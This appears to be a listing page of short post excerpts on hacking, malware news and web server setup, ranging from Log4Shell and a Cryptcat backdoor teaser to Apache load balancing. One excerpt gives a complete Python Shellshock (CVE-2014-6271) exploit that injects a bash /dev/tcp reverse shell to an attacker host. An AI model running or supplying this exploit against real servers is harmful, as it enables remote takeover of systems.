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Log4Shell — Under Active Attack

Black Hats are actively weaponizing unpatched servers affected by the newly identified “Log4Shell” vulnerability in Log4j to install cryptocurrency miners, Cobalt Strike, and recruit the devices into a botnet, even as telemetry signs point to exploitation of the flaw nine …

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Raise privileges in windows 10 and 11

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How to Create a Nearly Undetectable Backdoor with Cryptcat

In this tutorial, I’ll introduce you to netcat’s popular cousin, cryptcat (she’s actually much cuter and more exotic than the plain netcat). Cryptcatenables us to communicate between two systems and encrypts the communication between them with twofish, one of many …

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WebSite Hacking Secrets

THE MANUAL

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How To Protect Your PC From Hackers?

Computer viruses are rapidly growing in the World Wide Web as numerous hackers unleash them on internet in the hope of stealing private financial information. To protect yourself completely, it is important to have a set of tools hardware and …

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Easy hacker guide

First and foremost, it is important for you to understand that ‘hacking’ is a broad term. There are many aspects to it, most of which require several programming skills, but that shouldn’t stop you from using the tools made available by the internet for you to take advantage of. Go to the HTMLdog website and learn some HTML first, it is a great website and you will progress in no time. Also, consider Python as your first programming language; it is a tradition to recommend Python to newbies because it is the fundamental and appropriate language that will kickstart you …

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Build a LAMP Server on Ubuntu 14.04 Desktop

This video tutorial will show how to turn an Ubuntu 14.04 desktop into a LAMP server. Watch as I install Apache, MySql, and phpMyAdmin to have a test server for building web pages. I also install VSFTP for a FTP server. Finally, I install Webmin for a web interface and even set up a WordPress to use locally.

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South Korean Malware Attack

  Executive Summary Reporting and technical details surrounding the malware used in the March 20, 2013, attack on South Korean assets have been varied and inconsistent. However, there are some commonalitie reported across multiple organizations that provide some level of insight into the malware, dubbed DarkSeoul. The common attributes of the attack campaign are the following: •The malicious file wipes the master boot record (MBR) and other files. •The malware was hard coded with a specific execution date and time and searches machines for credentials with administrative/root access to servers. •The malware is written to specifically target South Korean victims. …

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Choosing a Hosting Environment – Linux vs Windows

Choosing a hosting environment is one of the first decisions when selecting a Web hosting package. Although you may already have a preference, consider these key differences when creating a new Web project for yourself or a client. When embarking on a new Web project, one of the first decisions to make is regarding the Web hosting platform. Both Linux and Windows platforms are proven to be reliable and able to support a range of Web projects, so it is not a question of one being superior to the other. While you may have an allegiance to either Linux or …

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Getting the Local Traffic Report

It can be problematic and lead to headaches – and possibly even hair loss (your follicles may vary) – if you need to capture local network traffic (sent to your own device or PC) as many tools (even the venerable WireShark) aren’t very helpful with that scenario. However, there is a way to do it using two free tools, namely RawCap and the aforementioned WireShark. Once you know how, it’s (almost) as easy as pie — that is, eating a pie, such as an apple pie – not memorizing 3.14….etc) First, download RawCap here Next (provided you don’t already have …

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Check vulnerable reverse shell CGI (shellshock)

# #CVE-2014-6271 cgi-bin reverse shell # import httplib,urllib,sys if (len(sys.argv)<4):         print “Usage: %s <host> <vulnerable CGI> <attackhost/IP>” % sys.argv[0]         print “Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080” % sys.argv[0]         exit(0) conn = httplib.HTTPConnection(sys.argv[1]) reverse_shell=“() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1” % sys.argv[3] headers = {“Content-type”: “application/x-www-form-urlencoded”,         “test”:reverse_shell } conn.request(“GET”,sys.argv[2],headers=headers) res = conn.getresponse() print res.status, res.reason data = res.read() print data

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WinForms small HTML server

Recently teaching, use Apache and IIS frequently. Idle boring, want to write my own small servers. The Internet to find information for a long time, and finally success. The effect is as follows: test-my-ower-server Because only handle simple requests,…

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Web server attack tools

Some of the common web server attack tools include; Metasploit– this is an open source tool for developing, testing and using exploit code. It can be used to discover vulnerabilities in web servers and write exploits that can be used to compromise the server. MPack– this is a web exploitation tool. It was written in PHP and is backed by MySQL as the database engine. Once a web server has been compromised using MPack, all traffic to it is redirected to malicious download websites. Zeus– this tool can be used to turn a compromised computer into a bot or zombie. …

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Use Virtualbox to Host Your Own Site, Mirror Your Tumblr or WordPress

  Wwhy not roll your own server at home, and then use it as a dashboard to manage and re-post to sites like Tumblr and WordPress? All you need is Virtualbox. Maymay shows us how it’s done. Maymay’s setup is brilliant in its simplicity. Ultimately, there’s very little a web host is doing aside from running software that you can run on your own linux-based VM (virtual machine.) You can duplicate the setup rather easily with a VM running in VirtualBox. Of course, doing this at home doesn’t scale, and it’s not always accessible to the broader internet (not to …

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How to configure Apache to serve as load balancer between 2 or more Webservers on Linux / Apache basic cluster

Any admin somehow involved in sphere of UNIX Webhosting knows Apache pretty well. I’ve personally used Apache for about 10 years now and until now I always used it as a single installation on a Linux. Always so far whenever the requirements for more…

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